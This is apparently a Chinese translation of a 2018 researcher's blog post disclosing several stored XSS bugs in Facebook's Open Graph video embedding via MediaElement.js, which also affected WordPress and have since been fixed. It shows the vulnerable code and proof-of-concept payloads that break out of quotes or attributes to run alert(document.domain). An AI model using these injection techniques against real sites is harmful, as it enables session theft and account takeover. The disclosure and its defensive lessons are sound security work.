原文:https://opnsec.com/2018/03/stored-xss-on-facebook/
摘要:
攻击者可以利用Open Graph协议在Facebook留言板上嵌入外部视频来植入存储型XSS代码。当用户点击播放视频时,XSS代码就会在facebook.com的上下文中执行。
简介
2017年4月,我在Facebook留言板中发现了多个存储型XSS漏洞,并立即向Facebook提交了漏洞报告。但是,由于WordPress中也存在这些漏洞,所以,我一直在等WordPress修补些漏洞,现在这篇文章终于可以跟读者们见面了:这些漏洞现已在WordPress上得到了修复!
说起来,这些XSS多少有点复杂,因为它们需要多个步骤才能完成,不过,就每一步本身来说,还是很容易理解的。
Open Graph协议
在Facebook帖子中添加URL时,Facebook将通过Open Graph协议(FB doc)来显示富内容,如音频、视频等。下面简单介绍攻击者是如何使用OG协议在FB帖子中嵌入外部内容的:
这个OG工作流程还被许多网站所采用,包括Twitter和WordPress等。
第2步很关键:服务器端读取用户提供的URL,这通常会导致SSRF。
如果托管网站在关键网页上使用X-Frame-Options:SAMEORIGIN,并允许攻击者在同一子域中注入任意iframe的话,则可能出现的另一种漏洞是Clickjacking。
FB上没有发现这两种漏洞。
在受害者点击播放按钮后,FB加载视频时,我们就要密切关注第4步了。首先,FB会发送一个XHR请求,来获取视频类型和视频文件URL——两者都是从攻击者发布的URL中的og:video:type(我们称之为ogVideoType)和og:video:secure_url(ogVideoUrl)标签内读取的。下面给出一个OG元标签的例子:
<!DOCTYPE html>
<html>
<head>
<meta property="og:video:type" content="video/flv">
<meta property="og:video:secure_url" content='https://example.com/video.flv'>
<meta property="og:video:width" content="718">
<meta property="og:video:height" content="404">
<meta property="og:image" content="https://example.com/cover.jpg">
(...)
</head>
<body>
(...)
</body>
</html>
如果ogVideoType为“iframe”或“swf player”,那么FB会加载一个外部iframe,但是不会在自己的上下文中播放该视频。否则的话,FB就会使用MediaElement.js直接在facebook.com上处理视频加载。我已经将ME.js的Flash组件上的这些漏洞的相关报告提交给了Facebook和WordPress。
1.基于FlashMediaElement.swf的存储型XSS
根据ogVideoType取值的不同,MediaElements.js会采用不同的视频播放方式。
如果ogVideoType的值为“video/flv”(Flash视频),Facebook就会在facebook.com的上下文中加载Flash文件FlashMediaElement.swf(使用<embed>标签),并将ogVideoUrl传递给FlashME.swf来播放视频。然后,FlashME.swf把日志信息发送到facebook.com(使用Flash-to-javascript),当然,这些信息都是关于“视频播放”或“视频结束”方面的事件。FlashME.swf需要正确处理Flash-to-javascript的通信,特别是要把\正确转义为\,以避免XSS攻击。
但是,发送的JavaScript代码却是:
setTimeout('log("[VIDEO_URL]")', 0)
对于javascript来说,setTimeout函数的作用与eval类似,它能够把字符串转换为指令,所以说,这是一个相当危险的函数。
[[VIDEO_URL]为ogVideoUrl的值,注意,由于它处于攻击者的控制之下,所以,如果它包含了“的话,如:
http://evil.com/video.flv?"[payload]
Flash就会将以下指令发送给javascript:
setTimeout("log(\"http://evil.com/video.flv?\"payload\")", 0);
如您所见,有效载荷“in video.flv?”已被正确转义,所以,攻击者无法利用setTimeout函数本身兴风作浪。
然而,当JavaScript执行setTimeout函数时,实际上执行的是以下JavaScript指令:
log("http://evil.com/video.flv?"[payload]")
而这次,“并没有进行转义处理,换句话说,攻击者可以注入XSS!
现在的问题是,Facebook在将它传递给FlashME.swf之前,是否会对ogVideoUrl进行正确的转义处理。
首先,Facebook JavaScript向Facebook服务器发送XHR请求,以获取ogVideoType和ogVideoUrl的值。虽然ogVideoUrl的值是经过了正确编码的,但它仍然可以包含任意的特殊字符
https://evil.com?"'<\
然后,在发送到Flash之前,ogVideoUrl会进行下列转换:
function absolutizeUrl(ogVideoUrl) {
var tempDiv = document.createElement('div');
tempDiv.innerHTML = '<a href="' + ogVideoUrl.toString().split('"').join('"') + '">x</a>';
return tempDiv.firstChild.href;
}
flashDiv.innerHTML ='<embed src="FlashME.swf?videoFile=' + encodeURI(absolutizeUrl(ogVideoUrl )) +'" type="application/x-shockwave-flash">';
absolutizeUrl(ogVideoUrl)的返回结果为URL,该URL需要先进行编码,然后再发送到Flash,当Flash接收到数据时,会自动对URL进行解码,因此,我们可以忽略encodeURI指令。
absolutizeUrl使用当前协议和javascript上下文的域把相对URL转换为绝对URL(如果提供了绝对URL,则返回的内容基本不变)。这虽然看上去有点“怪异”,但它似乎足够安全;同时也很简单,因为最繁重的工作都让浏览器代劳了。不过,特殊字符编码却并不是一件简单的事情!
刚开始分析这段代码时,我使用的工具是Firefox,因为它提供了许多很棒的扩展,比如Hackbar、Tamper Data和Firebug!
在Firefox中,如果执行
absolutizeUrl('http://evil.com/video.flv#"payload')
它会返回
http://evil.com/video.flv#%22payload
所以,我被卡住了,因为在Facebook中,Flash发送的JavaScript指令是
setTimeout("log(\"http://evil.com/video.flv?%22payload\")", 0);
这将生成
log("http://evil.com/video.flv?%22[payload]")
这可不是一个XSS漏洞。
然后,我开始尝试Chrome:
absolutizeUrl('http://evil.com/video.flv#"payload')
返回:
http://evil.com/video.flv#"payload
和 o/YEAH !!!!!
现在,Flash将
setTimeout("log(\"http://evil.com/video.flv?\"payload\")", 0);
的结果发送给Facebook的javascript,并生成
log("http://evil.com/video.flv?"[payload]")
所以,如果ogVideoUrl被设置为
http://evil.com/video.flv#"+alert(document.domain+" XSSed!")+"
那么,Facebook将执行
log("http://evil.com/video.flv?"+alert(document.domain+" XSSed!")+"")
并会显示一个小警告框,指出“facebook.com XSSed!”
这是因为浏览器解析URL时,不同的浏览器对特殊字符进行不同的编码:
正如你所看到的,让浏览器决定如何对javascript代码中的URL内的特殊字符进行编码并不是一个好主意!
我立即将这个漏洞报告给Facebook,他们在第二天给予回复,称已经修复了这个Flash文件,不再使用setTimeout函数,现在Flash发送的是
log("http://evil.com/video.flv?\"payload")
正如你所看到的,“已经被正确地转义为\” ,从而就避免了XSS漏洞。
2.无需借助Flash的存储型XSS
上面的XSS攻击需要借助于Flash,所以,我想知道在不借助Flash的情况下,是否可以找到其他有效载荷。
如果ogVideoType的值是“video/vimeo”,则会执行以下代码
ogVideoUrl = absolutizeUrl(ogVideoUrl);
ogVideoUrl = ogVideoUrl.substr(ogVideoUrl.lastIndexOf('/') + 1);
playerDiv.innerHTML = '<iframe src="https://player.vimeo.com/video/' + ogVideoUrl + '?api=1"></iframe>';
如您所见,absolutizeUrl(ogURL) 在注入playerDiv.innerHTML之前没有进行相应的编码处理,所以,如果将ogVideoUrl设置为
http://evil.com/#" onload="alert(document.domain)"
playerDiv.innerHTML 就会变成:
<iframe src="https://player.vimeo.com/video/#" onload="alert(document.domain)" ?api=1"></iframe>
这又是一个基于Facebook.com上下文的XSS漏洞!
在前一个XSS被修复的同一天,我又提交了这个漏洞;Facebook在短短一天内就修复了这个漏洞:
ogVideoUrl = absolutizeUrl(ogVideoUrl);
ogVideoUrl = ogVideoUrl.substr(ogVideoUrl.lastIndexOf('/') + 1);
playerDiv.innerHTML = '<iframe src="https://player.vimeo.com/video/' + ogVideoUrl.split('"').join('"') + '?api=1"></iframe>'
这里的视频展示了这个XSS漏洞修复前情况,具体地址为:https://youtu.be/Q9bsKjUd1hM。
第二天,我又发现了另一个漏洞:当ogVideoType是未知类型,比如“video/nothing”时,Facebook会显示一条错误消息,其中含有ogVideoUrl的链接,具体如下所示:
errorDiv.innerHTML = '<a href="' +absolutizeUrl(ogVideoUrl ) + '">'
所以,如果ogVideoUrl的有效载荷设置为
https://opnsec.com/#"><img/src="xxx"onerror="alert(document.domain)
errorDiv.innerHTML 将变成:
<a href="https://opnsec.com/#"><img src="xxx" onerror="alert(document.domain)">
我立刻将这个漏洞报告给了Facebook,有意思的是,来自Facebook的WhiteHat计划的Neil告诉我,他正盘算着在第二天检查这些代码呢!
对了,还有一个问题...
ogVideoType另一种可能的取值是“silverlight”。Silverlight是微软公司的浏览器插件,它与Flash的关系,类似于VBscript与JavaScript的关系。
在Facebook(silverlightmediaelement.xap)上托管的silverlight文件的加载过程为:
params = ["file=" + ogVideoUrl, "id=playerID"];
silverlightDiv.innerHTML ='<object data="data:application/x-silverlight-2," type="application/x-silverlight-2"><param name="initParams" value="' + params.join(',').split('"').join('"') + '" /></object>';
然后,silverlightmediaelement.xap会将日志信息发送到Facebook的JavaScript,这个情形有点像Flash文件。但是,这次它没有包含ogVideoUrl,只有player ID,这是在initParams中发送的另一个参数,它是由Facebook定义的。之后,Silverlight会调用javascript函数[id] _init(),其中的[id]为“playerID”。
在Silverlight中,参数不是由urls或Flash中的&所分隔的,而是通过来进行分隔的。
如果ogVideoUrl包含逗号",",那么在这个逗号后面的所有字符都被silverlight视为另一个参数,这意味着使用如下的有效载荷
https://opnsec.com/#,id=alert(document.domain)&
那么,silverlight就会像下面这样来加载:
silverlightDiv.innerHTML ='<object data="data:application/x-silverlight-2," type="application/x-silverlight-2"><param name="initParams" value="file=https://opnsec.com/#,id=alert(document.domain)&,id=playerID" /></object>';
Silverlight只考虑第一次出现的id,并将它的值设置为
alert(document.domain)&
然后,Silverlight将调用以下JavaScript代码 :
alert(document.domain)&_init()
这意味着又出现了XSS漏洞!
同一天,我又提交了这个漏洞,Neal回复说,他们将删除所有MediaElement组件,并启用另一种处理外部视频的新方式!
WordPress会不会也存在这些漏洞呢?
实际上,所有这些含有漏洞的代码都不是由Facebook开发的,那么问题在哪里呢?问题在于将视频嵌入到网页中时,他们使用了开源库MediaElementjs。MediaElementjs曾经是(现在仍然是)一个流行的模块,之所以流行,主要归功于它为版本较旧的浏览器提供了Flash Fallback功能。特别需要注意的是,WordPress在处理短代码时,会默认使用这个模块。所以说,这些漏洞也存在于WordPress中,因为攻击者能够在WordPress评论或作者撰写的WordPress文章中植入存储型XSS(在WordPress中,作者角色不允许执行JavaScript )。
我向WordPress报告了这些漏洞,实际上,几个月前还向WordPress报告了另一个漏洞。他们将这些问题反馈给了MediaElementjs团队,并回复说,他们正在进行修复。2018年2月,他们终于发布了与MediaElementjs相关的所有XSS漏洞的修复程序。
小结
在研究这些有趣的漏洞的过程中,我学到了很多东西。我希望你也喜欢这些学习的乐趣!
以下是一些建议:
Open Graph(以及像json-ld这样的替代品)是在网站上展示外部的富内容的好方法,但你必须小心使用(留意SSRF、XSS和Clickjacking)
不要让浏览器替您解析JavaScript代码中的URL,因为每个浏览器有自己的方式,并且浏览器可能随时改变这些方式(如Chrome 64 -> 65)。相反,我们应该使用白名单正则表达式。
对于那些使用了XHR、DOM Mutation和外部内容的高级动态XSS,目前的自动工具还无法检测出来。所以,即使是最安全、最有影响力的网站仍可能会受到这些漏洞的攻击。为了预防这些漏洞,需要进行深入的代码审查和认真的调试工作!
不要害怕体型巨大的、经过压缩处理的和动态的JavaScript源代码。如果您在网站上发现一些潜在的危险功能,不妨自己动手检查一下它们的实现方式!
Facebook的WhiteHat是一个伟大的bug赏金计划! 感谢Neal和及其团队。
祝阅读愉快!